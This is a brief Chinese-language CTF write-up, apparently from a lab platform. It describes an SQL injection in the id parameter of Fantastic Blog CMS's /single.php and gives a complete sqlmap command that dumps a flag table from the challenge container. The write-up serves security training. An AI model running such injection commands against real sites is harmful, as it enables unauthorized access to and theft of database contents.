…

漏洞描述：Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客，它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能，您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下，id参数存在一个SQL注入漏洞。

直接访问容器的/single.php，sqlmap直接跑

sqlmap -u http://eci-2zea7obo5nr8m0vghlwo.cloudeci1.ichunqiu.com/single.php?id=1 -D ctf -T flag -C flag --dump